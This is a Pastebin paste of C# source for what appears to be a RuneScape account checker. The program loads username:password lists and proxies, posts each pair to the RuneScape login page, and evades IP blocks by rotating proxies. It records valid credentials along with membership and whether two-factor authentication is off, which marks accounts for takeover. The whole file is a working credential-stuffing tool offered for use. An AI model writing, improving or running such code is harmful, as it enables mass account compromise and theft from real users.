Advertisement
Guest User

Untitled

a guest
Sep 28th, 2017
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.58 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Net;
  6. using System.Text;
  7. using System.Text.RegularExpressions;
  8. using System.Threading;
  9. using System.Threading.Tasks;
  10. using System.Management;
  11. using System.Net.Sockets;
  12.  
  13. namespace ConsoleApplication1
  14. {
  15. class Program
  16. {
  17. static void Main(string[] args)
  18. {
  19. string[] lines = File.ReadAllLines("C:\checker/in.txt");
  20. string[] proxylines = File.ReadAllLines("C:\checker/proxy.txt");
  21. var accCount = lines.Count();
  22. Console.Write("Accounts loaded: " + accCount);
  23. Console.WriteLine();
  24. var proxyCount = proxylines.Count();
  25. Console.Write("Proxies loaded: " + proxyCount);
  26. Console.WriteLine();
  27.  
  28. var machine = System.Environment.MachineName;
  29. string HWID = string.Empty;//creating a empty string
  30. ManagementClass Management = new ManagementClass("win32_processor");//declaring the system management calss
  31. ManagementObjectCollection MObject = Management.GetInstances();//decalring the system management object collection
  32. foreach (ManagementObject mob in MObject)//having a foreach loop
  33. {
  34. if (string.IsNullOrEmpty(HWID))
  35. {
  36. HWID = mob.GetPropertyValue("processorID").ToString();//converting the HWID to string
  37. break;
  38. }
  39. }
  40.  
  41. Console.Write("Machine: " + machine);
  42. Console.WriteLine();
  43. Console.Write("HWID: " + HWID);
  44. Console.WriteLine();
  45.  
  46. var checker = new Checker();
  47. //int hi = 0;
  48.  
  49. var tasks =
  50. from x in lines.Select((line, index) => new { hi = index, line, proxy = proxylines[index % proxylines.Length]})
  51. let account = x.line.Split(new char[] { ':' })
  52. let user = account[0]
  53. let pass = account[1]
  54. select Task.Factory.StartNew(() => checker.checkAccount(user, pass, x.proxy, x.hi, accCount));
  55.  
  56. Task.WaitAll(tasks.ToArray());
  57.  
  58. Console.ReadLine();
  59. }
  60.  
  61. public class Checker
  62. {
  63. //declare vars
  64. string getDisplayname;
  65. string getMember;
  66. string getAuth;
  67. string check;
  68.  
  69. public void checkAccount(string username, string password, string proxy, int i, int total)
  70. {
  71. ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
  72.  
  73. byte[] data = Encoding.ASCII.GetBytes(
  74. $"username={username}&password={password}&mod=www&ssl=1&dest=account_settings.ws");
  75.  
  76. string[] proxydata = proxy.Split(new[] { ":" }, StringSplitOptions.None);
  77. string proxyip = proxydata[0];
  78. int proxyport = Int32.Parse(proxydata[1]);
  79.  
  80. try
  81. {
  82. HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://secure.runescape.com/m=weblogin/login.ws");
  83. WebProxy proxyLink = new WebProxy(proxyip, proxyport);
  84. request.Method = "POST";
  85. request.ContentType = "application/x-www-form-urlencoded";
  86. request.ContentLength = data.Length;
  87. request.Proxy = proxyLink;
  88. using (Stream stream = request.GetRequestStream())
  89. {
  90. stream.Write(data, 0, data.Length);
  91. }
  92.  
  93. string responseContent = null;
  94.  
  95. using (WebResponse response = request.GetResponse())
  96. {
  97. using (Stream stream = response.GetResponseStream())
  98. {
  99. using (StreamReader sr99 = new StreamReader(stream))
  100. {
  101. responseContent = sr99.ReadToEnd();
  102. }
  103. }
  104. }
  105.  
  106. //parse blocked
  107. string patternBlocked = @"Yous*haves*beens*blockeds*froms*loggings*in";
  108. string inputBlocked = responseContent;
  109. Match matchBlocked = Regex.Match(inputBlocked, patternBlocked);
  110. string blocked = matchBlocked.Value;
  111.  
  112. if (blocked == "You have been blocked from logging in")
  113. {
  114. Console.Write("["+i+" of "+total+"] IP BLOCKED: " + username + " (" + proxyip + ":" + proxyport + ")");
  115. Console.WriteLine();
  116. //return "captcha,captcha,captcha,captcha";
  117. }
  118. else
  119. {
  120. //parse captcha
  121. string patternCaptcha = @"Pleases*completes*thes*reCAPTCHAs*box";
  122. string inputCaptcha = responseContent;
  123. Match matchCaptcha = Regex.Match(inputCaptcha, patternCaptcha);
  124. string captcha = matchCaptcha.Value;
  125.  
  126. if (captcha == "Please complete the reCAPTCHA box")
  127. {
  128. captcha = "true";
  129. Console.Write("["+i+" of "+total+"] Captcha: " + username + " (" + proxyip + ":" + proxyport + ")");
  130. Console.WriteLine();
  131. //return "captcha,captcha,captcha,captcha";
  132. }
  133. else
  134. {
  135. //parse valid/invalid
  136. string patternCheck = @"Yours*logins*ors*passwords*wass*incorrect";
  137. string inputCheck = responseContent;
  138. Match matchCheck = Regex.Match(inputCheck, patternCheck);
  139. check = matchCheck.Value;
  140.  
  141. if (check == "Your login or password was incorrect")
  142. {
  143. check = "Invalid";
  144. }
  145. else
  146. {
  147. check = "Valid";
  148. //parse display name
  149. string pattern = @"(<span.*class=.header-top__name.>(.*?)</span>)";
  150. string input = responseContent;
  151. Match match = Regex.Match(input, pattern);
  152. getDisplayname = match.Groups[2].Value;
  153. byte[] bytes = Encoding.Default.GetBytes(getDisplayname);
  154. getDisplayname = Encoding.UTF8.GetString(bytes);
  155. getDisplayname = getDisplayname.Replace("?", " ");
  156.  
  157. //parse member status
  158. string patternMember = @"(Currentlys*Nots*as*Member)";
  159. string inputMember = responseContent;
  160. Match matchMember = Regex.Match(inputMember, patternMember);
  161. getMember = matchMember.Value;
  162. if (getMember == "Currently Not a Member")
  163. {
  164. getMember = "Non Member";
  165. }
  166. else
  167. {
  168. getMember = "Member";
  169. }
  170.  
  171. //parse auth status
  172. string patternAuthUrl = @"iframe src=""(.*?)""";
  173. string inputAuthUrl = responseContent;
  174. Match matchAuthUrl = Regex.Match(inputAuthUrl, patternAuthUrl);
  175. string getAuthUrl = matchAuthUrl.Groups[1].Value;
  176.  
  177. try
  178. {
  179. using (WebClient client = new WebClient())
  180. {
  181. string authSource = client.DownloadString(getAuthUrl);
  182.  
  183. string patternAuth = @"RuneScapes*Authenticators*iss*disabled";
  184. string inputAuth = authSource;
  185. Match matchAuth = Regex.Match(inputAuth, patternAuth);
  186. getAuth = matchAuth.Value;
  187.  
  188. if (getAuth == "RuneScape Authenticator is disabled")
  189. {
  190. getAuth = "Auth Disabled";
  191. }
  192. else
  193. {
  194. getAuth = "Authed";
  195. }
  196. }
  197. }
  198. catch (Exception ex)
  199. {
  200. Console.Write("[" + i + " of " + total + "] Invalid auth url");
  201. Console.WriteLine();
  202. }
  203. }
  204. captcha = "false";
  205. //Console.Write(responseContent);
  206. //Console.WriteLine();
  207. if(check == "Valid")
  208. {
  209. string curldata = "[" + i + " of " + total + "] Valid: " + getDisplayname + "," + username + " " + password + "," + getMember + "," + getAuth + " (" + proxyip + ":" + proxyport + ")";
  210. File.AppendAllText(@"valid.txt", curldata + Environment.NewLine);
  211. Console.Write(curldata);
  212. Console.WriteLine();
  213.  
  214. //remove account from in.txt
  215. var tempFile = Path.GetTempFileName();
  216. var linesToKeep = File.ReadLines("C:\checker/in.txt").Where(l => l != username + ":" + password);
  217. File.WriteAllLines(tempFile, linesToKeep);
  218. File.Delete("C:\checker/in.txt");
  219. File.Move(tempFile, "C:\checker/in.txt");
  220. }
  221. else
  222. {
  223. string curldata = "["+i+" of "+total+"] Invalid: " + username + " " + password + " (" + proxyip + ":" + proxyport + ")";
  224. File.AppendAllText(@"invalid.txt", curldata + Environment.NewLine);
  225.  
  226. Console.Write(curldata);
  227. Console.WriteLine();
  228.  
  229. //remove account from in.txt
  230. var tempFile = Path.GetTempFileName();
  231. var linesToKeep = File.ReadLines("C:\checker/in.txt").Where(l => l != username + ":" + password);
  232. File.WriteAllLines(tempFile, linesToKeep);
  233. File.Delete("C:\checker/in.txt");
  234. File.Move(tempFile, "C:\checker/in.txt");
  235.  
  236. }
  237. }
  238. }
  239. }
  240. catch (WebException) { Console.Write("["+i+" of "+total+"] Proxy did not work (" + proxyip + ":" + proxyport + ")"); Console.WriteLine(); }
  241.  
  242. }
  243.  
  244. }
  245.  
  246. }
  247. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement